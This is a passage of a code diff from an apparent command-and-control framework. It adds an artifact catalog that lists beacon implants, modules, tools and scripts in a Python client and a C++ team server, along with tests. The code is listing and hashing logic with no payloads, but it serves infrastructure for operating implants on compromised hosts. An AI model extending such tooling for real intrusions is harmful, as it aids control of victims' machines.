1024 and unit_index < len(units) - 1: + size_float /= 1024 + unit_index += 1 + + if unit_index == 0: + return f"{int(size_float)} B" + return f"{size_float:.1f} {units[unit_index]}" + + +class Artifacts(QWidget): + COLUMN_WIDTHS = [82, 220, 86, 66, 70, 86, 112, 98, 88] + STRETCH_COLUMN = COL_NAME + + def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: + super().__init__(parent) + self.grpcClient = grpcClient + self.artifacts: list[Any] = [] + apply_dark_panel_style(self) + + self.layout = QVBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) + + toolbar = QHBoxLayout() + toolbar.setSpacing(6) + + self.categoryFilter = self.createFilter(CATEGORY_FILTERS, "Filter by artifact category.") + self.platformFilter = self.createFilter(PLATFORM_FILTERS, "Filter by target platform.") + self.archFilter = self.createFilter(ARCH_FILTERS, "Filter by target architecture.") + self.searchInput = QLineEdit(self) + self.searchInput.setPlaceholderText("Name contains") + self.searchInput.setToolTip("Filter artifacts by name.") + self.searchInput.returnPressed.connect(self.refreshArtifacts) + + self.refreshButton = self.createToolbarButton("Refresh", "Refresh artifact catalog.", width=72) + self.refreshButton.clicked.connect(self.refreshArtifacts) + self.copyIdButton = self.createToolbarButton("Copy ID", "Copy selected artifact id.", width=72) + self.copyIdButton.clicked.connect(self.copySelectedArtifactId) + + toolbar.addWidget(QLabel("Category")) + toolbar.addWidget(self.categoryFilter) + toolbar.addWidget(QLabel("Platform")) + toolbar.addWidget(self.platformFilter) + toolbar.addWidget(QLabel("Arch")) + toolbar.addWidget(self.archFilter) + toolbar.addWidget(self.searchInput, 1) + toolbar.addWidget(self.refreshButton) + toolbar.addWidget(self.copyIdButton) + self.layout.addLayout(toolbar) + + self.statusLabel = QLabel("") + self.statusLabel.setMinimumHeight(18) + self.layout.addWidget(self.statusLabel) + + self.artifactTable = QTableWidget(self) + self.artifactTable.setObjectName("C2ArtifactTable") + self.artifactTable.setShowGrid(False) + self.artifactTable.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) + self.artifactTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.artifactTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.artifactTable.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) + self.artifactTable.setRowCount(0) + self.artifactTable.setColumnCount(9) + self.artifactTable.verticalHeader().setVisible(False) + self.artifactTable.itemSelectionChanged.connect(self.updateActionButtons) + self.configureTableColumns() + self.layout.addWidget(self.artifactTable, 1) + + self.updateActionButtons() + self.refreshArtifacts() + + def createFilter(self, values: list[str], tooltip: str) -> QComboBox: + combo = QComboBox(self) + combo.addItems(values) + combo.setToolTip(tooltip) + combo.setMinimumWidth(96) + return combo + + def createToolbarButton(self, text: str, tooltip: str, width: int = 58) -> QPushButton: + button = QPushButton(text, self) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self) -> None: + header = self.artifactTable.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(48) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.artifactTable.setColumnWidth(index, width) + + def buildQuery(self) -> Any: + query = TeamServerApi_pb2.ArtifactQuery() + + category = self.categoryFilter.currentText() + if category != ALL_FILTER: + query.category = category + + platform = self.platformFilter.currentText() + if platform != ALL_FILTER: + query.platform = platform + + arch = self.archFilter.currentText() + if arch != ALL_FILTER: + query.arch = arch + + name_contains = self.searchInput.text().strip() + if name_contains: + query.name_contains = name_contains + + return query + + def refreshArtifacts(self) -> None: + try: + self.artifacts = list(self.grpcClient.listArtifacts(self.buildQuery())) + except Exception as exc: + self.artifacts = [] + self.printArtifacts() + apply_status( + self.statusLabel, + f"Artifacts: {compact_message(exc, limit=120)}", + StatusKind.ERROR, + ) + return + + self.printArtifacts() + apply_status( + self.statusLabel, + f"Artifacts: {len(self.artifacts)} item(s)", + StatusKind.SUCCESS, + ) + + def printArtifacts(self) -> None: + self.artifactTable.setRowCount(len(self.artifacts)) + self.artifactTable.setHorizontalHeaderLabels( + ["Category", "Name", "Platform", "Arch", "Format", "Size", "SHA256", "Scope", "Source"] + ) + + for row, artifact in enumerate(self.artifacts): + artifact_id = _text(_field(artifact, "artifact_id")) + full_hash = _text(_field(artifact, "sha256")) + name = _text(_field(artifact, "name")) + display_name = _text(_field(artifact, "display_name")) or name + description = _text(_field(artifact, "description")) + + values = [ + _text(_field(artifact, "category")), + name, + _text(_field(artifact, "platform")), + _text(_field(artifact, "arch")), + _text(_field(artifact, "format")), + format_size(_field(artifact, "size", 0)), + _short_hash(full_hash), + _text(_field(artifact, "scope")), + _text(_field(artifact, "source")), + ] + + tooltip = "\n".join( + part for part in ( + f"Artifact ID: {artifact_id}" if artifact_id else "", + f"Name: {name}" if name else "", + f"Display: {display_name}" if display_name and display_name != name else "", + f"SHA256: {full_hash}" if full_hash else "", + description, + ) + if part + ) + + for column, value in enumerate(values): + item = QTableWidgetItem(value) + item.setFlags(item.flags() & ~Qt.ItemFlag.ItemIsEditable) + item.setData(Qt.ItemDataRole.UserRole, artifact_id) + if tooltip: + item.setToolTip(tooltip) + self.artifactTable.setItem(row, column, item) + + self.updateActionButtons() + + def selectedArtifactId(self) -> str: + selected_rows = self.artifactTable.selectionModel().selectedRows() if self.artifactTable.selectionModel() else [] + if not selected_rows: + return "" + + row = selected_rows[0].row() + item = self.artifactTable.item(row, COL_NAME) or self.artifactTable.item(row, COL_CATEGORY) + if item is None: + return "" + return _text(item.data(Qt.ItemDataRole.UserRole)) + + def copySelectedArtifactId(self) -> None: + artifact_id = self.selectedArtifactId() + if not artifact_id: + apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) + return + + QApplication.clipboard().setText(artifact_id) + apply_status(self.statusLabel, "Artifacts: artifact ID copied.", StatusKind.SUCCESS) + + def updateActionButtons(self) -> None: + self.copyIdButton.setEnabled(bool(self.selectedArtifactId())) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index ddd2a98..d6090d9 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -10,6 +10,7 @@ from PyQt6.QtGui import QStandardItem, QStandardItemModel, QTextCursor, QTextDocument, QShortcut from PyQt6.QtWidgets import ( QWidget, + QTabBar, QTabWidget, QVBoxLayout, QHBoxLayout, @@ -25,6 +26,7 @@ from .TerminalPanel import Terminal from .ScriptPanel import Script from .AssistantPanel import Assistant +from .ArtifactPanel import Artifacts, ArtifactTabTitle from .TerminalModules.Credentials import credentials from .console_style import ( CONSOLE_COLORS, @@ -65,6 +67,7 @@ # Constant # TerminalTabTitle = "Terminal" +SYSTEM_TAB_COUNT = 4 CmdHistoryFileName = ".cmdHistory" HelpInstruction = "help" @@ -476,10 +479,16 @@ def __init__(self, parent, grpcClient): self.tabs.addTab(tab, "Hooks") self.tabs.setCurrentIndex(self.tabs.count()-1) + self.artifacts = Artifacts(self, self.grpcClient) + tab = self.createConsolePage(self.artifacts) + self.tabs.addTab(tab, ArtifactTabTitle) + self.tabs.setCurrentIndex(self.tabs.count()-1) + self.assistant = Assistant(self, self.grpcClient) tab = self.createConsolePage(self.assistant) self.tabs.addTab(tab, "Data AI") self.tabs.setCurrentIndex(self.tabs.count()-1) + self.protectSystemTabs() def createConsolePage(self, child): tab = QWidget() @@ -489,6 +498,12 @@ def createConsolePage(self, child): layout.setSpacing(0) layout.addWidget(child) return tab + + def protectSystemTabs(self): + tabBar = self.tabs.tabBar() + for index in range(min(SYSTEM_TAB_COUNT, self.tabs.count())): + tabBar.setTabButton(index, QTabBar.ButtonPosition.LeftSide, None) + tabBar.setTabButton(index, QTabBar.ButtonPosition.RightSide, None) def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=False @@ -508,7 +523,7 @@ def addConsole(self, beaconHash, listenerHash, hostname, username): def closeTab(self, currentIndex): currentQWidget = self.tabs.widget(currentIndex) - if currentIndex<3: + if currentIndex < SYSTEM_TAB_COUNT: return currentQWidget.deleteLater() self.tabs.removeTab(currentIndex) diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index af578d5..147816d 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -222,6 +222,13 @@ def listSessions(self) -> Any: empty = TeamServerApi_pb2.Empty() return self._stream_rpc("ListSessions", lambda: self.stub.ListSessions(empty, metadata=self.metadata)) + def listArtifacts(self, query: Optional[Any] = None) -> Iterable[Any]: + """Return artifacts indexed by the TeamServer catalog.""" + + if query is None: + query = TeamServerApi_pb2.ArtifactQuery() + return self._stream_rpc("ListArtifacts", lambda: self.stub.ListArtifacts(query, metadata=self.metadata)) + def stopSession(self, session: Any) -> Any: """Terminate a session.""" diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py new file mode 100644 index 0000000..e3ada6d --- /dev/null +++ b/C2Client/tests/test_artifact_panel.py @@ -0,0 +1,98 @@ +from types import SimpleNamespace + +from PyQt6.QtWidgets import QApplication, QWidget + +from C2Client.ArtifactPanel import Artifacts, format_size + + +class FakeGrpc: + def __init__(self): + self.queries = [] + self.artifacts = [ + SimpleNamespace( + artifact_id="artifact-module-1", + name="winmod64.dll", + display_name="winmod64.dll", + category="module", + scope="beacon", + platform="windows", + arch="x64", + format="dll", + source="release", + size=2048, + sha256="a" * 64, + description="Windows module", + ), + SimpleNamespace( + artifact_id="artifact-script-1", + name="startup.py", + display_name="startup.py", + category="script", + scope="teamserver", + platform="any", + arch="any", + format="py", + source="release", + size=12, + sha256="b" * 64, + description="Startup hook", + ), + ] + + def listArtifacts(self, query): + self.queries.append(query) + return iter(self.artifacts) + + +class FailingGrpc: + def listArtifacts(self, query): + raise RuntimeError("catalog unavailable") + + +def test_format_size_uses_human_units(): + assert format_size(0) == "0 B" + assert format_size(42) == "42 B" + assert format_size(2048) == "2.0 KB" + assert format_size(1024 * 1024) == "1.0 MB" + + +def test_artifacts_panel_lists_filters_and_copies_id(qtbot): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + assert panel.artifactTable.rowCount() == 2 + assert panel.artifactTable.item(0, 0).text() == "module" + assert panel.artifactTable.item(0, 1).text() == "winmod64.dll" + assert panel.artifactTable.item(0, 5).text() == "2.0 KB" + assert panel.artifactTable.item(0, 6).text() == "aaaaaaaaaaaa" + assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 1).toolTip() + + panel.categoryFilter.setCurrentText("module") + panel.platformFilter.setCurrentText("windows") + panel.archFilter.setCurrentText("x64") + panel.searchInput.setText("win") + panel.refreshArtifacts() + + query = grpc.queries[-1] + assert query.category == "module" + assert query.platform == "windows" + assert query.arch == "x64" + assert query.name_contains == "win" + + panel.artifactTable.selectRow(0) + panel.copyIdButton.click() + + assert QApplication.clipboard().text() == "artifact-module-1" + assert panel.statusLabel.text() == "Artifacts: artifact ID copied." + + +def test_artifacts_panel_reports_refresh_errors(qtbot): + parent = QWidget() + panel = Artifacts(parent, FailingGrpc()) + qtbot.addWidget(panel) + + assert panel.artifactTable.rowCount() == 0 + assert "catalog unavailable" in panel.statusLabel.text() + assert "#b00020" in panel.statusLabel.styleSheet() diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index c6e6991..932d26b 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -229,6 +229,7 @@ def test_console_replays_structured_log_on_reopen(tmp_path, qtbot, monkeypatch): def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): monkeypatch.setattr('C2Client.ConsolePanel.Terminal', DummyPanel) monkeypatch.setattr('C2Client.ConsolePanel.Script', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Artifacts', DummyPanel) monkeypatch.setattr('C2Client.ConsolePanel.Assistant', DummyPanel) parent = QWidget() @@ -238,11 +239,17 @@ def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): assert consoles.objectName() == "C2ConsolesTab" assert consoles.tabs.objectName() == "C2ConsoleTabs" assert consoles.tabs.tabText(1) == "Hooks" + assert consoles.tabs.tabText(2) == "Artifacts" + assert consoles.tabs.tabText(3) == "Data AI" assert "#0b1117" in consoles.styleSheet() assert "#070b10" in consoles.styleSheet() assert consoles.layout.contentsMargins().left() == 0 assert consoles.layout.spacing() == 0 + protected_count = consoles.tabs.count() + consoles.closeTab(2) + assert consoles.tabs.count() == protected_count + for index in range(consoles.tabs.count()): page = consoles.tabs.widget(index) assert page.objectName() == "C2ConsolePage" diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index 1b26bf4..ea92464 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -51,6 +51,28 @@ def test_grpc_client_reports_rpc_status(tmp_path, monkeypatch): assert events == [("ListListeners", True, "")] +def test_grpc_client_lists_artifacts(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + query = object() + artifact = object() + stub.ListArtifacts.return_value = iter([artifact]) + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert list(client.listArtifacts(query)) == [artifact] + stub.ListArtifacts.assert_called_once_with(query, metadata=client.metadata) + assert events == [("ListArtifacts", True, "")] + + def test_grpc_client_uses_env_certificate_and_grpc_options(tmp_path, monkeypatch): cert = tmp_path / "cert.crt" cert.write_text("cert") diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index 5e951c6..b27e84f 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -14,6 +14,8 @@ service TeamServerApi rpc ListSessions(Empty) returns (stream Session) {} rpc StopSession(SessionSelector) returns (OperationAck) {} + rpc ListArtifacts(ArtifactQuery) returns (stream ArtifactSummary) {} + rpc GetCommandHelp(CommandHelpRequest) returns (CommandHelpResponse) {} rpc SendSessionCommand(SessionCommandRequest) returns (CommandAck) {} rpc StreamSessionCommandResults(SessionSelector) returns (stream CommandResult) {} @@ -100,6 +102,34 @@ message Session } +message ArtifactQuery +{ + string category = 1; + string scope = 2; + string platform = 3; + string arch = 4; + string name_contains = 5; +} + + +message ArtifactSummary +{ + string artifact_id = 1; + string name = 2; + string display_name = 3; + string category = 4; + string scope = 5; + string platform = 6; + string arch = 7; + string format = 8; + string source = 9; + int64 size = 10; + string sha256 = 11; + string description = 12; + repeated string tags = 13; +} + + message CommandHelpRequest { SessionSelector session = 1; diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index 08910b0..ac09dcb 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -3,6 +3,8 @@ include_directories(../core/modules/ModuleCmd) set(TEAMSERVER_CORE_SOURCES teamServer/TeamServer.cpp + teamServer/TeamServerArtifactCatalog.cpp + teamServer/TeamServerArtifactService.cpp teamServer/TeamServerAuth.cpp teamServer/TeamServerCommandPreparationService.cpp teamServer/TeamServerHelpService.cpp @@ -112,6 +114,11 @@ if(WITH_TESTS) tests/TeamServerListenerArtifactServiceTests.cpp ) + teamserver_add_test(testsTeamServerArtifactCatalog + server_core + tests/TeamServerArtifactCatalogTests.cpp + ) + teamserver_add_test(testsTeamServerSocksService server_core tests/TeamServerSocksServiceTests.cpp diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 6ed9857..0e1dd56 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -1,5 +1,7 @@ #include "TeamServer.hpp" +#include "TeamServerArtifactCatalog.hpp" +#include "TeamServerArtifactService.hpp" #include "TeamServerAuth.hpp" #include "TeamServerBootstrap.hpp" #include "TeamServerCommandPreparationService.hpp" @@ -47,6 +49,9 @@ TeamServer::TeamServer(const nlohmann::json& config) m_authManager = std::make_unique(m_logger); m_authManager->configure(config); + m_artifactService = std::make_unique( + m_logger, + TeamServerArtifactCatalog(runtimeConfig)); m_helpService = std::make_unique( m_logger, m_listeners, @@ -163,6 +168,15 @@ grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamser return m_listenerSessionService->stopSession(*sessionToStop, response); } +grpc::Status TeamServer::ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->listArtifacts(*query, [&](const teamserverapi::ArtifactSummary& artifact) + { return writer->Write(artifact); }); +} + grpc::Status TeamServer::SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) { auto authStatus = ensureAuthenticated(context); diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 20e4249..b756fbc 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -30,6 +30,7 @@ #include "nlohmann/json.hpp" class TeamServerAuthManager; +class TeamServerArtifactService; class TeamServerHelpService; class TeamServerListenerSessionService; class TeamServerListenerArtifactService; @@ -53,6 +54,8 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service grpc::Status ListSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) override; grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::SessionSelector* sessionToStop, teamserverapi::OperationAck* response) override; + grpc::Status ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) override; + grpc::Status SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) override; grpc::Status StreamSessionCommandResults(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; @@ -90,6 +93,7 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service std::vector m_sentCommands; std::unique_ptr m_authManager; + std::unique_ptr m_artifactService; std::unique_ptr m_helpService; std::unique_ptr m_listenerSessionService; std::unique_ptr m_listenerArtifactService; diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp new file mode 100644 index 0000000..62fc10d --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -0,0 +1,262 @@ +#include "TeamServerArtifactCatalog.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +namespace +{ +constexpr const char* ReleaseSource = "release"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +bool containsCaseInsensitive(const std::string& haystack, const std::string& needle) +{ + if (needle.empty()) + return true; + return toLower(haystack).find(toLower(needle)) != std::string::npos; +} + +bool matchesExactOrAny(const std::string& requested, const std::string& actual) +{ + if (requested.empty()) + return true; + + const std::string requestedLower = toLower(requested); + const std::string actualLower = toLower(actual); + return actualLower == requestedLower || actualLower == "any"; +} + +bool matchesExact(const std::string& requested, const std::string& actual) +{ + return requested.empty() || toLower(requested) == toLower(actual); +} + +bool matchesQuery(const TeamServerArtifactRecord& artifact, const TeamServerArtifactQuery& query) +{ + return matchesExact(query.category, artifact.category) + && matchesExact(query.scope, artifact.scope) + && matchesExactOrAny(query.platform, artifact.platform) + && matchesExactOrAny(query.arch, artifact.arch) + && containsCaseInsensitive(artifact.name, query.nameContains); +} + +std::string bytesToHex(const unsigned char* bytes, unsigned int length) +{ + std::ostringstream output; + output << std::hex << std::setfill('0'); + for (unsigned int index = 0; index < length; ++index) + output << std::setw(2) << static_cast(bytes[index]); + return output.str(); +} + +std::string sha256String(const std::string& value) +{ + std::array digest = {}; + unsigned int digestLength = 0; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + const bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1 + && EVP_DigestUpdate(context, value.data(), value.size()) == 1 + && EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +std::string sha256File(const fs::path& path) +{ + std::ifstream input(path, std::ios::binary); + if (!input.good()) + return ""; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1; + std::array buffer = {}; + while (ok && input.good()) + { + input.read(buffer.data(), static_cast(buffer.size())); + const std::streamsize bytesRead = input.gcount(); + if (bytesRead > 0) + ok = EVP_DigestUpdate(context, buffer.data(), static_cast(bytesRead)) == 1; + } + + std::array digest = {}; + unsigned int digestLength = 0; + if (ok) + ok = EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +bool hasHiddenComponent(const fs::path& relativePath) +{ + for (const auto& component : relativePath) + { + const std::string value = component.string(); + if (!value.empty() && value.front() == '.') + return true; + } + return false; +} + +std::string detectFormat(const fs::path& path) +{ + std::string extension = path.extension().string(); + if (extension.empty()) + return "binary"; + if (extension.front() == '.') + extension.erase(extension.begin()); + extension = toLower(extension); + if (extension.empty()) + return "binary"; + return extension; +} + +void collectDirectoryArtifacts( + const fs::path& root, + const std::string& category, + const std::string& scope, + const std::string& platform, + const std::string& arch, + std::vector& artifacts) +{ + std::error_code ec; + if (root.empty() || !fs::exists(root, ec) || !fs::is_directory(root, ec)) + return; + + fs::recursive_directory_iterator iterator(root, fs::directory_options::skip_permission_denied, ec); + const fs::recursive_directory_iterator end; + if (ec) + return; + + for (; iterator != end; iterator.increment(ec)) + { + if (ec) + { + ec.clear(); + continue; + } + + const fs::path path = iterator->path(); + if (!fs::is_regular_file(path, ec)) + continue; + + const fs::path relativePath = fs::relative(path, root, ec); + if (ec) + { + ec.clear(); + continue; + } + if (hasHiddenComponent(relativePath)) + continue; + + const std::string contentHash = sha256File(path); + if (contentHash.empty()) + continue; + + TeamServerArtifactRecord artifact; + artifact.name = relativePath.generic_string(); + artifact.displayName = path.filename().string(); + artifact.category = category; + artifact.scope = scope; + artifact.platform = platform; + artifact.arch = arch; + artifact.format = detectFormat(path); + artifact.source = ReleaseSource; + artifact.sha256 = contentHash; + artifact.internalPath = path.string(); + + artifact.size = static_cast(fs::file_size(path, ec)); + if (ec) + { + ec.clear(); + artifact.size = 0; + } + + artifact.artifactId = sha256String( + artifact.source + "\n" + + artifact.category + "\n" + + artifact.scope + "\n" + + artifact.platform + "\n" + + artifact.arch + "\n" + + artifact.name + "\n" + + artifact.sha256); + if (artifact.artifactId.empty()) + continue; + artifacts.push_back(std::move(artifact)); + } +} + +void collectWindowsArchArtifacts( + const fs::path& root, + const std::vector& supportedArchs, + const std::string& category, + const std::string& scope, + std::vector& artifacts) +{ + for (const std::string& arch : supportedArchs) + collectDirectoryArtifacts(root / arch, category, scope, "windows", arch, artifacts); +} + +bool sortArtifacts(const TeamServerArtifactRecord& left, const TeamServerArtifactRecord& right) +{ + return std::tie(left.category, left.scope, left.platform, left.arch, left.name, left.artifactId) + < std::tie(right.category, right.scope, right.platform, right.arch, right.name, right.artifactId); +} +} // namespace + +TeamServerArtifactCatalog::TeamServerArtifactCatalog(TeamServerRuntimeConfig runtimeConfig) + : m_runtimeConfig(std::move(runtimeConfig)) +{ +} + +std::vector TeamServerArtifactCatalog::listArtifacts(const TeamServerArtifactQuery& query) const +{ + std::vector allArtifacts; + collectDirectoryArtifacts(m_runtimeConfig.teamServerModulesDirectoryPath, "module", "teamserver", "server", "any", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.linuxModulesDirectoryPath, "module", "beacon", "linux", "any", allArtifacts); + collectWindowsArchArtifacts(m_runtimeConfig.windowsModulesDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "module", "beacon", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.linuxBeaconsDirectoryPath, "beacon", "implant", "linux", "any", allArtifacts); + collectWindowsArchArtifacts(m_runtimeConfig.windowsBeaconsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "beacon", "implant", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.toolsDirectoryPath, "tool", "server", "any", "any", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.scriptsDirectoryPath, "script", "teamserver", "any", "any", allArtifacts); + + std::vector filteredArtifacts; + for (const TeamServerArtifactRecord& artifact : allArtifacts) + { + if (matchesQuery(artifact, query)) + filteredArtifacts.push_back(artifact); + } + + std::sort(filteredArtifacts.begin(), filteredArtifacts.end(), sortArtifacts); + return filteredArtifacts; +} diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.hpp b/teamServer/teamServer/TeamServerArtifactCatalog.hpp new file mode 100644 index 0000000..4a2d27d --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactCatalog.hpp @@ -0,0 +1,45 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerRuntimeConfig.hpp" + +struct TeamServerArtifactQuery +{ + std::string category; + std::string scope; + std::string platform; + std::string arch; + std::string nameContains; +}; + +struct TeamServerArtifactRecord +{ + std::string artifactId; + std::string name; + std::string displayName; + std::string category; + std::string scope; + std::string platform; + std::string arch; + std::string format; + std::string source; + std::int64_t size = 0; + std::string sha256; + std::string description; + std::vector tags; + std::string internalPath; +}; + +class TeamServerArtifactCatalog +{ +public: + explicit TeamServerArtifactCatalog(TeamServerRuntimeConfig runtimeConfig); + + std::vector listArtifacts(const TeamServerArtifactQuery& query = {}) const; + +private: + TeamServerRuntimeConfig m_runtimeConfig; +}; diff --git a/teamServer/teamServer/TeamServerArtifactService.cpp b/teamServer/teamServer/TeamServerArtifactService.cpp new file mode 100644 index 0000000..0dc85b6 --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactService.cpp @@ -0,0 +1,56 @@ +#include "TeamServerArtifactService.hpp" + +#include +#include +#include + +TeamServerArtifactService::TeamServerArtifactService( + std::shared_ptr logger, + TeamServerArtifactCatalog catalog) + : m_logger(std::move(logger)), + m_catalog(std::move(catalog)) +{ +} + +grpc::Status TeamServerArtifactService::listArtifacts( + const teamserverapi::ArtifactQuery& query, + const ArtifactWriter& writer) const +{ + TeamServerArtifactQuery catalogQuery; + catalogQuery.category = query.category(); + catalogQuery.scope = query.scope(); + catalogQuery.platform = query.platform(); + catalogQuery.arch = query.arch(); + catalogQuery.nameContains = query.name_contains(); + + const std::vector artifacts = m_catalog.listArtifacts(catalogQuery); + m_logger->debug("ListArtifacts returned {0} artifact(s)", artifacts.size()); + + for (const TeamServerArtifactRecord& artifact : artifacts) + { + if (!writer(toProto(artifact))) + break; + } + + return grpc::Status::OK; +} + +teamserverapi::ArtifactSummary TeamServerArtifactService::toProto(const TeamServerArtifactRecord& artifact) +{ + teamserverapi::ArtifactSummary summary; + summary.set_artifact_id(artifact.artifactId); + summary.set_name(artifact.name); + summary.set_display_name(artifact.displayName); + summary.set_category(artifact.category); + summary.set_scope(artifact.scope); + summary.set_platform(artifact.platform); + summary.set_arch(artifact.arch); + summary.set_format(artifact.format); + summary.set_source(artifact.source); + summary.set_size(artifact.size); + summary.set_sha256(artifact.sha256); + summary.set_description(artifact.description); + for (const std::string& tag : artifact.tags) + summary.add_tags(tag); + return summary; +} diff --git a/teamServer/teamServer/TeamServerArtifactService.hpp b/teamServer/teamServer/TeamServerArtifactService.hpp new file mode 100644 index 0000000..ecb0249 --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactService.hpp @@ -0,0 +1,30 @@ +#pragma once + +#include +#include + +#include + +#include "TeamServerApi.pb.h" +#include "TeamServerArtifactCatalog.hpp" +#include "spdlog/logger.h" + +class TeamServerArtifactService +{ +public: + using ArtifactWriter = std::function; + + TeamServerArtifactService( + std::shared_ptr logger, + TeamServerArtifactCatalog catalog); + + grpc::Status listArtifacts( + const teamserverapi::ArtifactQuery& query, + const ArtifactWriter& writer) const; + +private: + static teamserverapi::ArtifactSummary toProto(const TeamServerArtifactRecord& artifact); + + std::shared_ptr m_logger; + TeamServerArtifactCatalog m_catalog; +}; diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp new file mode 100644 index 0000000..b9a6277 --- /dev/null +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -0,0 +1,219 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "TeamServerArtifactCatalog.hpp" +#include "TeamServerArtifactService.hpp" +#include "spdlog/logger.h" + +namespace fs = std::filesystem; + +namespace +{ +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + std::error_code ec; + fs::remove_all(m_path, ec); + fs::create_directories(m_path); + } + + ~ScopedPath() + { + std::error_code ec; + 